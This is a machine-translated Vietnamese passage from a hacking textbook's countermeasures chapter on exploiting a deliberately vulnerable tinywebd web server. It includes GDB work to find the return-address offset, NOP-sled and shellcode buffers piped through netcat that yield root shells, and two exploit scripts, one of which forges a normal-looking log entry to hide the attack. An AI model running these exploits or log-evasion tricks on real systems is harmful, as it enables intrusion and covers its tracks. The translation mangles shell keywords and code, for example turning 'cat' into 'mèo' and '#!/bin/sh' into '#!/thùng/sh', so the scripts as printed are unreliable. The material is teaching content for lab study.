Lưu ý rằng tệp nhật ký chứa dấu thời gian cũng như thông báo tắt máy khi chương
trình bắt được tín hiệu kết thúc và gọi handle_shutdown()
để thoát ra một cách nhẹ nhàng.
reader@hacking:~/booksrc $ gcc -o tinywebd tinywebd.c
reader@hacking:~/booksrc $ sudo chown root ./tinywebd
reader@hacking:~/booksrc $ sudo chmod u+s ./tinywebd
reader@hacking:~/booksrc $ ./tinywebd Khởi
động trình nền web nhỏ.
reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1 Máy
chủ web cho 127.0.0.1 là Tiny webserver
reader@hacking:~/booksrc $ ps ax | grep tinywebd
Ss
25058 ? 0:00 ./tinywebd
25075 pts/3 0:00
grep tinywebd
R+
reader@hacking:~/booksrc $ kill 25058
reader@hacking:~/booksrc $ ps ax | grep tinywebd 25121
R+
pts/3 0:00 grep tinywebd
reader@hacking:~/
booksrc $ cat /var/log/tinywebd.log cat: /var/log/
tinywebd.log: Quyền bị từ chối reader@hacking:~/
booksrc $ sudo cat /var/log/tinywebd.log 22/07/2007 17:55:45>
Đang khởi động.
07/22/2007 17:57:00> Từ 127.0.0.1:38127 "HEAD / HTTP/1.0"
200 Được
07/22/2007 17:57:21> Đang tắt.
reader@hacking:~/booksrc $
Chương trình tinywebd này phục vụ nội dung HTTP giống như chương trình tinyweb gốc, nhưng nó hoạt
động như một daemon hệ thống, tách khỏi thiết bị đầu cuối điều khiển và ghi vào tệp nhật ký. Cả hai
chương trình đều dễ bị khai thác tràn giống nhau; tuy nhiên, khai thác chỉ là bước khởi đầu. Sử dụng
daemon tinyweb mới làm mục tiêu khai thác thực tế hơn, bạn sẽ học cách tránh bị phát hiện sau khi xâm
nhập.
0x630 Công cụ của nghề
Với một mục tiêu thực tế, chúng ta hãy quay lại phía hàng rào của kẻ tấn công.
Đối với loại tấn công này, các tập lệnh khai thác là một công cụ thiết yếu của
nghề. Giống như một bộ dụng cụ mở khóa trong tay của một chuyên gia, các khai
thác mở ra nhiều cánh cửa cho tin tặc. Thông qua việc thao túng cẩn thận các
cơ chế bên trong, bảo mật có thể bị bỏ qua hoàn toàn.
328 0x600
Machine Translated by Google
Trong các chương trước, chúng ta đã viết mã khai thác bằng C và khai thác thủ
công các lỗ hổng từ dòng lệnh. Đường ranh giới mong manh giữa một chương trình khai
thác và một công cụ khai thác là vấn đề hoàn thiện và khả năng cấu hình lại. Các
chương trình khai thác giống súng hơn là công cụ. Giống như súng, một chương trình khai
thác có một tiện ích riêng và giao diện người dùng đơn giản như bóp cò súng. Cả súng
và chương trình khai thác đều là sản phẩm hoàn thiện có thể được sử dụng bởi những
người không có kỹ năng với kết quả nguy hiểm. Ngược lại, các công cụ khai thác thường
không phải là sản phẩm hoàn thiện, cũng không dành cho người khác sử dụng.
Với sự hiểu biết về lập trình, việc một hacker bắt đầu viết các tập lệnh và công cụ của
riêng mình để hỗ trợ khai thác là điều dễ hiểu. Các công cụ được cá nhân hóa này tự động
hóa các tác vụ tẻ nhạt và tạo điều kiện cho việc thử nghiệm. Giống như các công cụ thông
thường, chúng có thể được sử dụng cho nhiều mục đích, mở rộng kỹ năng của người dùng.
Công cụ khai thác 0x631 tinywebd
Đối với daemon tinyweb, chúng tôi muốn một công cụ khai thác cho phép chúng tôi thử
nghiệm các lỗ hổng. Như trong quá trình phát triển các khai thác trước đây của chúng
tôi, GDB được sử dụng trước tiên để tìm ra chi tiết về lỗ hổng, chẳng hạn như các offset.
Độ lệch đến địa chỉ trả về sẽ giống như trong chương trình tinyweb.c gốc, nhưng một
chương trình daemon lại có thêm những thách thức. Lệnh gọi daemon phân nhánh tiến
trình, chạy phần còn lại của chương trình trong tiến trình con, trong khi tiến trình
cha thoát. Trong kết quả đầu ra bên dưới, một điểm dừng được đặt sau lệnh gọi daemon() ,
nhưng trình gỡ lỗi không bao giờ chạm đến nó.
reader@hacking:~/booksrc $ gcc -g tinywebd.c
người đọc@hacking:~/booksrc $ sudo gdb -q ./a.out
cảnh báo: không sử dụng tệp không đáng tin cậy "/home/reader/.gdbinit"
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) danh sách 47
42
43
nếu (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) fatal("cài đặt tùy
44
chọn ổ cắm SO_REUSEADDR");
45
46
printf("Đang khởi động trình nền web nhỏ.\n");
47
if(daemon(1, 1) == -1) // Chuyển sang tiến trình nền nền.
48
fatal("phân nhánh sang tiến trình daemon");
49
50
signal(SIGTERM, handle_shutdown); // Gọi handle_shutdown khi bị tắt.
51
signal(SIGINT, handle_shutdown); // Gọi handle_shutdown khi bị gián đoạn.
(gdb) phá vỡ 50
Điểm dừng 1 tại 0x8048e84: tệp tinywebd.c, dòng 50.
(gdb) chạy
Khởi động chương trình: /home/reader/booksrc/a.out Khởi
động chương trình nền web nhỏ.
Chương trình thoát bình thường.
(gdb)
Biện pháp đối phó 329
Machine Translated by Google
Khi chương trình được chạy, nó chỉ thoát. Để gỡ lỗi chương trình này, GDB cần được yêu cầu theo
dõi tiến trình con, trái ngược với tiến trình cha. Điều này được thực hiện bằng cách đặt follow-fork-mode
thành child. Sau khi thay đổi này, trình gỡ lỗi sẽ theo dõi quá trình thực thi vào tiến trình con, nơi có
thể đạt đến điểm dừng.
(gdb) thiết lập chế độ theo dõi con
(gdb) giúp thiết lập chế độ theo dõi
Đặt phản hồi của trình gỡ lỗi cho lệnh gọi chương trình fork hoặc vfork.
Fork hoặc vfork tạo ra một tiến trình mới. follow-fork-mode có thể là:
cha mẹ - tiến trình ban đầu được gỡ lỗi sau khi phân nhánh
child - quy trình mới được gỡ lỗi sau khi phân nhánh
Quá trình bỏ theo dõi sẽ tiếp tục chạy.
Theo mặc định, trình gỡ lỗi sẽ tuân theo quy trình cha.
(gdb) chạy
Khởi động chương trình: /home/reader/booksrc/a.out Khởi
động chương trình nền web nhỏ.
[Chuyển sang tiến trình 1051]
Điểm dừng 1, main () tại tinywebd.c:50
50
signal(SIGTERM, handle_shutdown); // Gọi handle_shutdown khi bị tắt.
(gdb) thoát
Chương trình đang chạy. Thoát ra luôn? (y hoặc n) y
reader@hacking:~/booksrc $ ps aux | grep a.out
Ss 06:04 0:00 /home/reader/booksrc/a.out
gốc 911 0.0 0.0 1636 416 ?
người đọc 1207 0.0 0.0 2880 748 điểm/2 R+ 06:13 0:00 grep a.out
người đọc@hacking:~/booksrc $ sudo giết 911
người đọc@hacking:~/booksrc $
Biết cách gỡ lỗi các tiến trình con là điều tốt, nhưng vì chúng ta cần các giá trị ngăn xếp
cụ thể, nên việc đính kèm vào một tiến trình đang chạy sẽ sạch hơn và dễ dàng hơn nhiều. Sau khi xóa
bất kỳ tiến trình a.out nào, daemon tinyweb sẽ được khởi động lại và sau đó được đính kèm với GDB.
người đọc@hacking:~/booksrc $ ./tinywebd
Bắt đầu tiến trình web nhỏ..
reader@hacking:~/booksrc $ ps aux | grep tinywebd
gốc 25830 0.0 0.0 1636 356 ? người đọc 25837 0.0 0.0 2880 748
Ss 20:10 0:00 ./tinywebd
điểm/1 người đọc@hacking:~/booksrc $ gcc -g tinywebd.c người
R+ 20:10 0:00 grep tinywebd
đọc@hacking:~/booksrc $ sudo gdb -q—pid=25830 --symbols=./a.out
cảnh báo: không sử dụng tệp không đáng tin cậy "/home/reader/.gdbinit"
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
Đính kèm vào tiến trình 25830
/cow/home/reader/booksrc/tinywebd: Không có tệp hoặc thư mục nào như vậy.
Một chương trình đang được gỡ lỗi. Giết nó? (y hoặc n) n
Chương trình không bị tắt.
(gdb) bt
#0 0xb7fe77f2 trong ?? ()
#1 0xb7f691e1 trong ?? ()
#2 0x08048f87 trong main () tại tinywebd.c:68
(gdb) danh sách 68
330 0x600
Machine Translated by Google
63
nếu (lắng nghe(sockfd, 20) == -1)
64
fatal("đang lắng nghe trên socket");
65
66
while(1) { // Chấp nhận vòng lặp
67
sin_size = sizeof(struct sockaddr_in);
68
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd
69
== -1) fatal("đang chấp
70
nhận kết nối");
71
72
handle_connection(new_sockfd, &client_addr, logfd); (gdb) danh
sách handle_connection /* Hàm này
77
xử lý kết nối trên socket đã truyền từ * địa chỉ máy khách đã truyền và ghi vào FD đã
78
truyền. Kết nối được * xử lý như một yêu cầu web và hàm này trả lời qua kết nối
79
80
* socket. Cuối cùng, socket đã truyền sẽ được đóng lại khi hàm kết thúc. */
81
82
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
83
unsigned char *ptr, yêu cầu[500], tài nguyên[500], bộ đệm nhật ký[500]; int fd,
84
độ dài;
85
86
chiều dài = recv_line(sockfd, yêu cầu);
(gdb) ngắt 86
Điểm dừng 1 tại 0x8048fc3: tệp tinywebd.c, dòng 86.
(gdb) tiếp theo
Tiếp tục.
Quá trình thực thi sẽ tạm dừng trong khi daemon tinyweb chờ kết nối.
Một lần nữa, kết nối được thực hiện với máy chủ web bằng trình duyệt để đưa
quá trình thực thi mã đến điểm dừng.
Điểm dừng 1, handle_connection (sockfd=5, client_addr_ptr=0xbffff810) tại tinywebd.c:86
chiều dài = recv_line(sockfd, yêu cầu);
86 (gdb) bt
#0 handle_connection (sockfd=5, client_addr_ptr=0xbffff810, logfd=3) tại tinywebd.c:86
#1 0x08048fb7 trong main () tại tinywebd.c:72
(gdb) yêu cầu x/x
0xbffff5c0: 0x080484ec
(gdb) x/16x yêu cầu + 500
0xbffff7b4: 0xb7fd5ff4
0xb8000ce0
0x00000000
0xbffff848
0xbffff7c4: 0xb7ff9300
0xb7fd5ff4
0xbffff7e0
0xb7f691c0
0xbffff7d4: 0xb7fd5ff4
0xbffff848
0x08048fb7
0x00000005
0xbffff7e4: 0xbffff810 (gdb) x/
0x00000003
0xbffff838
0x00000004
x 0xbffff7d4 + 8
0xbffff7dc: 0x08048fb7
(gdb) p /x 0xbffff7dc - 0xbffff5c0
$1 = 0x21c
(gdb) p 0xbffff7dc - 0xbffff5c0
2 = 540
(gdb) p /x 0xbffff5c0 + 100
$3 = 0xbffff624
(gdb) thoát
Chương trình đang chạy. Hãy thoát (và tách nó ra)? (y hoặc n) y
Tách khỏi chương trình: , tiến trình 25830
người đọc@hacking:~/booksrc $
Biện pháp đối phó 331
Machine Translated by Google
Trình gỡ lỗi cho thấy bộ đệm yêu cầu bắt đầu tại 0xbffff5c0 và địa chỉ trả về được
lưu trữ tại 0xbffff7dc, nghĩa là độ lệch là 540 byte.
Nơi an toàn nhất cho shellcode là gần giữa bộ đệm yêu cầu 500 byte. Trong đầu ra bên dưới,
một bộ đệm khai thác được tạo ra để kẹp shellcode giữa một NOP sled và địa chỉ trả về được
lặp lại 32 lần. 128 byte của địa chỉ trả về được lặp lại giữ cho shellcode không nằm trong
bộ nhớ ngăn xếp không an toàn, có thể bị ghi đè. Ngoài ra còn có các byte không an toàn
gần đầu bộ đệm khai thác, sẽ bị ghi đè trong quá trình chấm dứt null. Để giữ cho shellcode
không nằm trong phạm vi này, một NOP sled 100 byte được đặt trước nó. Điều này tạo ra một
vùng hạ cánh an toàn cho con trỏ thực thi, với shellcode ở 0xbffff624. Đầu ra sau đây khai
thác lỗ hổng bằng cách sử dụng shellcode vòng lặp.
reader@hacking:~/booksrc $ ./tinywebd Khởi
động trình nền web nhỏ.
reader@hacking:~/booksrc $ wc -c loopback_shell 83
loopback_shell
người đọc@hacking:~/booksrc $ echo $((540+4 - (32*4) - 83)) 333
người đọc@hacking:~/booksrc $ nc -l -p 31337 &
[1] 9835
reader@hacking:~/booksrc $ việc làm
[1]+ Chạy nc -l -p 31337 &
người đọc@hacking:~/booksrc $ (perl -e 'in "\x90"x333'; cat loopback_shell; perl -e 'in "\
x24\xf6\xff\xbf"x32 . "\r\n"') | nc -w 1 -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) mở
người đọc@hacking:~/booksrc $ fg
nc-l-p 31337
ai đó
gốc rễ
Vì offset đến địa chỉ trả về là 540 byte, nên cần 544 byte để ghi đè địa chỉ. Với shellcode vòng
lặp ở 83 byte và địa chỉ trả về bị ghi đè lặp lại 32 lần, phép tính số học đơn giản cho thấy NOP sled
cần phải là 333 byte để căn chỉnh mọi thứ trong bộ đệm khai thác đúng cách. netcat được chạy ở chế độ
lắng nghe với ký hiệu và (&) được thêm vào cuối, điều này sẽ gửi quy trình xuống chế độ nền. Điều này
lắng nghe kết nối trở lại từ shellcode và có thể được tiếp tục sau đó bằng lệnh fg (nền trước). Trên
LiveCD, biểu tượng @ (@) trong dấu nhắc lệnh sẽ đổi màu nếu có các tác vụ nền, cũng có thể được liệt kê
bằng lệnh jobs . Khi bộ đệm khai thác được đưa vào netcat, tùy chọn -w được sử dụng để yêu cầu nó hết
thời gian chờ sau một giây. Sau đó, quy trình netcat ở chế độ nền đã nhận được shell connectback có thể
được tiếp tục.
Tất cả đều hoạt động tốt, nhưng nếu sử dụng shellcode có kích thước khác, kích thước
NOP sled phải được tính toán lại. Tất cả các bước lặp lại này có thể được đưa vào một
tập lệnh shell duy nhất.
Shell BASH cho phép các cấu trúc điều khiển đơn giản. Câu lệnh if ở đầu tập lệnh này
chỉ để kiểm tra lỗi và hiển thị cách sử dụng
332 0x600
Machine Translated by Google
message. Các biến shell được sử dụng cho offset và ghi đè địa chỉ trả về, do đó chúng
có thể dễ dàng thay đổi cho một mục tiêu khác. Mã shell được sử dụng cho khai thác
được truyền dưới dạng đối số dòng lệnh, điều này làm cho nó trở thành một công cụ hữu
ích để thử nghiệm nhiều loại mã shell khác nhau.
xtool_tinywebd.sh
#!/thùng/sh
# Một công cụ để khai thác tinywebd
nếu [ -z "$2" ]; thì # Nếu đối số 2 trống
echo "Sử dụng: $0 <tệp shellcode> <IP mục tiêu>"
ra
có
BÙ ĐẮP=540
RETADDR="\x24\xf6\xff\xbf" # Tại +100 byte từ bộ đệm @ 0xbffff5c0
echo "mục tiêu IP: $2"
KÍCH THƯỚC=`wc -c $1 | cắt -f1
''`
-d echo "shellcode: $1 ($SIZE byte)"
KÍCH THƯỚC ĐÈN LED=$(($OFFSET+4 - (32*4) - $SIZE))
echo "[NOP ($ALIGNED_SLED_SIZE byte)] [shellcode ($SIZE byte)] [ret addr ($((4*32))
byte)]"
( perl -e "in \"\x90\"x$ALIGNED_SLED_SIZE";
mèo $1;
perl -e "in \"$RETADDR\"x32 . \"\r\n\"";) | nc -w 1 -v $2 80
Lưu ý rằng tập lệnh này lặp lại địa chỉ trả về thêm ba mươi ba lần nữa, nhưng nó sử dụng 128 byte
(32 × 4) để tính kích thước sled. Điều này đặt một bản sao bổ sung của địa chỉ trả về sau nơi mà độ lệch
chỉ định. Đôi khi các tùy chọn trình biên dịch khác nhau sẽ di chuyển địa chỉ trả về xung quanh một
chút, do đó, điều này làm cho việc khai thác đáng tin cậy hơn. Đầu ra bên dưới cho thấy công cụ này được
sử dụng để khai thác daemon tinyweb một lần nữa, nhưng với shellcode port-binding.
reader@hacking:~/booksrc $ ./tinywebd Khởi
động chương trình nền web nhỏ.
người đọc@hacking:~/booksrc $ ./xtool_tinywebd.sh portbinding_shellcode 127.0.0.1
IP mục tiêu: 127.0.0.1
shellcode: portbinding_shellcode (92 byte)
[NOP (324 byte)] [shellcode (92 byte)] [ret addr (128 byte)]
localhost [127.0.0.1] 80 (www) mở
người đọc@hacking:~/booksrc $ nc -vv 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) mở
ai đó
gốc rễ
Bây giờ bên tấn công đã được trang bị một tập lệnh khai thác, hãy xem xét điều
gì xảy ra khi nó được sử dụng. Nếu bạn là quản trị viên của máy chủ chạy daemon
tinyweb, dấu hiệu đầu tiên cho thấy bạn đã bị tấn công là gì?
Biện pháp đối phó 333
Machine Translated by Google
0x640 Tệp Nhật ký
Một trong hai dấu hiệu xâm nhập rõ ràng nhất là tệp nhật ký. Tệp nhật ký được lưu giữ bởi
daemon tinyweb là một trong những nơi đầu tiên cần xem xét khi khắc phục sự cố. Mặc dù
các cuộc tấn công của kẻ tấn công đã thành công, tệp nhật ký vẫn lưu giữ một bản ghi rõ
ràng đau đớn rằng có điều gì đó không ổn.
Tệp Nhật ký tinywebd
reader@hacking:~/booksrc $ sudo cat /var/log/tinywebd.log
25/07/2007 14:55:45> Đang khởi động.
07/25/2007 14:57:00> Từ 127.0.0.1:38127 "HEAD / HTTP/1.0"
200 Được
07/25/2007 17:49:14> Từ 127.0.0.1:50201 "GET / HTTP/1.1"
200 Được
200 Được
07/25/2007 17:49:14> Từ 127.0.0.1:50202 "GET /image.jpg HTTP/1.1"
07/25/2007 17:49:14> Từ 127.0.0.1:50203 "GET /favicon.ico HTTP/1.1"
404 Không tìm thấy
25/07/2007 17:57:21> Đang tắt.
08/01/2007 15:43:08> Đang khởi động..
08/01/2007 15:43:41> Từ 127.0.0.1:45396
"
jfX1CRjj
jfXCh
fT$ fhzifSj QVC Tôi? Tôi
Rh//suỵt/binRS $$$$$$
$$$$$$$$$$$$$$$$$$
$$$$$$$$$" KHÔNG PHẢI HTTP!
người đọc@hacking:~/booksrc $
Tất nhiên trong trường hợp này, sau khi kẻ tấn công chiếm được root shell, hắn có thể
chỉnh sửa tệp nhật ký vì nó nằm trên cùng một hệ thống. Tuy nhiên, trên các mạng an toàn,
các bản sao nhật ký thường được gửi đến một máy chủ an toàn khác. Trong những trường hợp
cực đoan, nhật ký được gửi đến máy in để sao chép cứng, do đó có một bản ghi vật lý. Các
loại biện pháp đối phó này ngăn chặn việc giả mạo nhật ký sau khi khai thác thành công.
0x641 Hòa nhập với đám đông
Mặc dù các tệp nhật ký không thể thay đổi, nhưng đôi khi những gì được ghi lại có thể thay
đổi. Các tệp nhật ký thường chứa nhiều mục nhập hợp lệ, trong khi các nỗ lực khai thác
lại nổi bật như ngón tay cái bị đau. Chương trình daemon tinyweb có thể bị lừa ghi lại một
mục nhập có vẻ hợp lệ cho một nỗ lực khai thác.
Hãy xem mã nguồn và xem bạn có thể tìm ra cách thực hiện việc này trước khi tiếp tục
không. Ý tưởng là làm cho mục nhập nhật ký trông giống như một yêu cầu web hợp lệ, như sau:
22/07/2007 17:57:00> Từ 127.0.0.1:38127 "HEAD / HTTP/1.0" 200 OK
25/07/2007 14:49:14> Từ 127.0.0.1:50201 "GET / HTTP/1.1"
200 OK
25/07/2007 14:49:14> Từ 127.0.0.1:50202 "GET /image.jpg HTTP/1.1" 200 OK 25/07/2007 14:49:14>
Từ 127.0.0.1:50203 "GET /favicon.ico HTTP/1.1"
404 Không tìm thấy
Kiểu ngụy trang này rất hiệu quả ở các doanh nghiệp lớn có nhiều tệp nhật ký, vì có
rất nhiều yêu cầu hợp lệ để ẩn trong đó: Dễ dàng hòa nhập vào một trung tâm mua sắm đông
đúc hơn là một con phố vắng vẻ. Nhưng chính xác thì làm thế nào để bạn ẩn một bộ đệm khai
thác lớn, xấu xí trong bộ quần áo của một con cừu?
334 0x600
Machine Translated by Google
Có một lỗi đơn giản trong mã nguồn của daemon tinyweb cho phép bộ đệm yêu cầu bị cắt bớt sớm khi nó
được sử dụng cho đầu ra tệp nhật ký, nhưng không phải khi sao chép vào bộ nhớ. Hàm recv_line() sử dụng
\r\n làm dấu phân cách; tuy nhiên, tất cả các hàm chuỗi chuẩn khác đều sử dụng một byte null cho dấu phân
cách. Các hàm chuỗi này được sử dụng để ghi vào tệp nhật ký, do đó, bằng cách sử dụng cả hai dấu phân
cách một cách chiến lược, dữ liệu được ghi vào nhật ký có thể được kiểm soát một phần.
Tập lệnh khai thác sau đây đặt một yêu cầu có vẻ hợp lệ trước phần còn lại của bộ đệm khai thác. NOP
sled được thu nhỏ để chứa dữ liệu mới.
xtool_tinywebd_stealth.sh
#!/thùng/sh
# công cụ khai thác ẩn
nếu [ -z "$2" ]; thì # Nếu đối số 2 trống
echo "Sử dụng: $0 <tệp shellcode> <IP mục tiêu>"
ra
có
YÊU CẦU GIẢ MẠO="NHẬN / HTTP/1.1\x00"
FR_SIZE=$(perl -e "in \"$FAKEREQUEST\"" | wc -c | cắt -f1 -d ' ')
BÙ ĐẮP=540
RETADDR="\x24\xf6\xff\xbf" # Tại +100 byte từ bộ đệm @ 0xbffff5c0
echo "mục tiêu IP: $2"
KÍCH THƯỚC=`wc -c $1 | cắt -f1
''`
-d echo "shellcode: $1 ($SIZE byte)"
echo "yêu cầu giả mạo: \"$FAKEREQUEST\" ($FR_SIZE byte)"
KÍCH THƯỚC ĐÈN LED=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE))
echo "[Yêu cầu giả ($FR_SIZE b)] [NOP ($ALIGNED_SLED_SIZE b)] [shellcode ($SIZE
b)] [ret addr ($((4*32)) b)]"
(perl -e "in \"$FAKEREQUEST\" . \"\x90\"x$ALIGNED_SLED_SIZE";
mèo $1;
perl -e "in \"$RETADDR\"x32 . \"\r\n\"") | nc -w 1 -v $2 80
Bộ đệm khai thác mới này sử dụng ký tự phân cách byte null để chấm dứt ngụy trang yêu cầu giả mạo.
Một byte null sẽ không dừng hàm recv_line() , do đó phần còn lại của bộ đệm khai thác được sao chép vào
ngăn xếp. Vì các hàm chuỗi được sử dụng để ghi vào nhật ký sử dụng một byte null để chấm dứt, nên yêu
cầu giả mạo được ghi lại và phần còn lại của khai thác bị ẩn. Đầu ra sau đây cho thấy tập lệnh khai thác
này đang được sử dụng.
reader@hacking:~/booksrc $ ./tinywebd Khởi
động trình nền web nhỏ.
reader@hacking:~/booksrc $ nc -l -p 31337 &
[1] 7714
reader@hacking:~/booksrc $ việc làm
[1]+ Chạy nc -l -p 31337 &
người đọc@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell 127.0.0.1
IP mục tiêu: 127.0.0.1
shellcode: loopback_shell (83 byte)
yêu cầu giả mạo: "GET / HTTP/1.1\x00" (15 byte)
[Yêu cầu giả (15 b)] [NOP (318 b)] [shellcode (83 b)] [ret addr (128 b)]
Biện pháp đối phó 335
Machine Translated by Google
localhost [127.0.0.1] 80 (www) mở
người đọc@hacking:~/booksrc $ fg
nc-l-p 31337
ai đó
gốc rễ
Kết nối được sử dụng bởi lỗ hổng này sẽ tạo ra các mục nhật ký sau trên máy chủ.
08/02/2007 13:37:36> Đang khởi động..
08/02/2007 13:37:44> Từ 127.0.0.1:32828 "GET / HTTP/1.1"
200 Được
Mặc dù địa chỉ IP đã đăng nhập không thể thay đổi bằng phương pháp này,
Bản thân yêu cầu này có vẻ hợp lệ nên sẽ không thu hút quá nhiều sự chú ý.
0x650 Bỏ qua điều hiển nhiên
Trong một kịch bản thực tế, dấu hiệu xâm nhập rõ ràng khác thậm chí còn rõ ràng hơn
các tệp nhật ký. Tuy nhiên, khi thử nghiệm, đây là điều dễ bị bỏ qua. Nếu các tệp nhật
ký có vẻ như là dấu hiệu xâm nhập rõ ràng nhất đối với bạn, thì bạn đang quên mất việc
mất dịch vụ. Khi daemon tinyweb bị khai thác, quy trình bị lừa cung cấp một shell gốc từ
xa, nhưng nó không còn xử lý các yêu cầu web nữa. Trong một kịch bản thực tế, khai thác
này sẽ được phát hiện gần như ngay lập tức khi ai đó cố gắng truy cập trang web.
Một hacker lành nghề không chỉ có thể bẻ khóa một chương trình để khai thác nó, mà
còn có thể lắp lại chương trình và giữ cho nó chạy. Chương trình tiếp tục xử lý các yêu
cầu và có vẻ như không có gì xảy ra.
0x651 Từng bước một
Khai thác phức tạp rất khó vì có rất nhiều thứ khác nhau có thể xảy ra sai sót mà không
có dấu hiệu nào cho thấy nguyên nhân gốc rễ. Vì có thể mất hàng giờ chỉ để theo dõi nơi
xảy ra lỗi, nên thường tốt hơn là chia nhỏ một khai thác phức tạp thành các phần nhỏ hơn.
Mục tiêu cuối cùng là một đoạn mã shell sẽ tạo ra một shell nhưng vẫn giữ cho máy chủ
tinyweb chạy. Shell có tính tương tác, gây ra một số phức tạp, vì vậy chúng ta sẽ giải
quyết vấn đề đó sau. Hiện tại, bước đầu tiên là tìm ra cách lắp ráp lại daemon tinyweb
sau khi khai thác nó. Chúng ta hãy bắt đầu bằng cách viết một đoạn mã shell thực hiện
một số việc để chứng minh rằng nó đã chạy và sau đó lắp ráp lại daemon tinyweb để nó có
thể xử lý các yêu cầu web tiếp theo.
Vì daemon tinyweb chuyển hướng standard out đến /dev/null, việc ghi vào standard
out không phải là dấu hiệu đáng tin cậy cho shellcode. Một cách đơn giản để chứng
minh shellcode đã chạy là tạo một tệp. Có thể thực hiện bằng cách gọi open(), rồi
close(). Tất nhiên, lệnh gọi open() sẽ cần các cờ thích hợp để tạo tệp. Chúng ta có
thể xem qua các tệp include để tìm ra O_CREAT
và tất cả các định nghĩa cần thiết khác thực sự là và thực hiện tất cả các phép toán
bitwise cho các đối số, nhưng điều đó khá là phiền phức. Nếu bạn nhớ lại, chúng ta
đã làm điều gì đó như thế này rồi—chương trình notetaker thực hiện lệnh gọi đến open()
sẽ tạo ra một tập tin nếu nó không tồn tại. Chương trình strace có thể được sử dụng trên
336 0x600
Machine Translated by Google
bất kỳ chương trình nào để hiển thị mọi lệnh gọi hệ thống mà nó thực hiện. Trong đầu ra bên dưới, điều
này được sử dụng để xác minh rằng các đối số cho open() trong C khớp với các lệnh gọi hệ thống thô.
reader@hacking:~/booksrc $ strace ./notetaker test execve("./
notetaker", ["./notetaker", "test"], [/* 27 biến */]) = 0 brk(0) = 0x804a000 access("/etc/
ld.so.nohwcap", F_OK)
= -1 ENOENT (Không có tệp hoặc thư mục nào như vậy)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe5000 access("/etc/ld.so.preload",
R_OK) open("/etc/ld.so.cache", O_RDONLY)
= -1 ENOENT (Không có tệp hoặc thư mục nào như vậy) =
fstat64(3, {st_mode=S_IFREG|0644,
3
st_size=70799, ..}) = 0 mmap2(NULL, 70799, PROT_READ, MAP_PRIVATE, 3, 0) =
0xb7fd3000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK)
= -1 ENOENT (Không có tệp hoặc thư mục nào như vậy) open("/
lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3,
"\177ELF\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0`\1\000".., 512) = 512 fstat64(3, {st_mode=S_IFREG|0644, st_size=1307104, ..})
= 0 mmap2(NULL, 1312164, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e92000
mmap2(0xb7fcd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13b) = 0xb7fcd000 mmap2(0xb7fd0000, 9636,
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd0000 đóng(3) mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|
MAP_ANONYMOUS,
-1, 0) = 0xb7e91000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e916c0, limit:1048575, seg_32bit:1, nội dung:0, read_exec_only:0, giới
hạn trong các
= 0
trang:1,
seg_not_present:0, có thể sử dụng:1}) = 0 mprotect(0xb7fcd000, 4096, PROT_READ) = 0 munmap(0xb7fd3000, 70799) brk(0) brk(0x806b000)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0xb7fe4000 write(1, "[DEBUG] bộ đệm @ 0x804a008: \'t".., 37[DEBUG] buffer @ 0x804a008: 'test' ) = 37 write(1, "[DEBUG]
datafile @ 0x804a070: \'/".., 43[DEBUG] datafile @ 0x804a070: '/var/
notes' ) = 43 open("/var/notes",
= 0
O_WRONLY|
= 0x804a000 =
O_APPEND|O_CREAT,
0x806b000
0600) = -1 EACCES (Quyền bị từ chối) dup(2) = 3 fcntl64(3, F_GETFL) = 0x2 (cờ O_RDWR) fstat64(3,
{st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_RIÊNG TƯ|MAP_VÔ DANH, -1, 0) =
0xb7fe3000 _llseek(3, 0, 0xbffff4e4, SEEK_CUR)
= -1 ESPIPE (Tìm kiếm bất hợp pháp)
write(3, "[!!] Lỗi nghiêm trọng trong main() khi".., 65[!!] Lỗi nghiêm trọng trong main() khi mở tệp: Quyền bị từ chối
) = 65
đóng(3)
= 0
munmap(0xb7fe3000, 4096)
= 0
thoát_nhóm(-1)
= ?
Tiến trình 21473 tách rời
reader@hacking:~/booksrc $ grep open notetaker.c fd = open(datafile,
O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); fatal("trong main() khi mở tệp");
reader@hacking:~/booksrc $
Biện pháp đối phó 337
Machine Translated by Google
Khi chạy qua strace, bit suid của tệp nhị phân notetaker không được sử dụng,
do đó nó không có quyền mở tệp dữ liệu. Tuy nhiên, điều đó không quan trọng; chúng
ta chỉ muốn đảm bảo rằng các đối số cho lệnh gọi hệ thống open() khớp với các đối
số cho lệnh gọi open() trong C. Vì chúng khớp, chúng ta có thể sử dụng an toàn các
giá trị được truyền cho hàm open() trong tệp nhị phân notetaker làm đối số cho lệnh
gọi hệ thống open() trong shellcode của mình. Trình biên dịch đã thực hiện tất cả
công việc tra cứu các định nghĩa và kết hợp chúng lại với nhau bằng phép toán OR
bitwise; chúng ta chỉ cần tìm các đối số lệnh gọi trong quá trình phân tách tệp
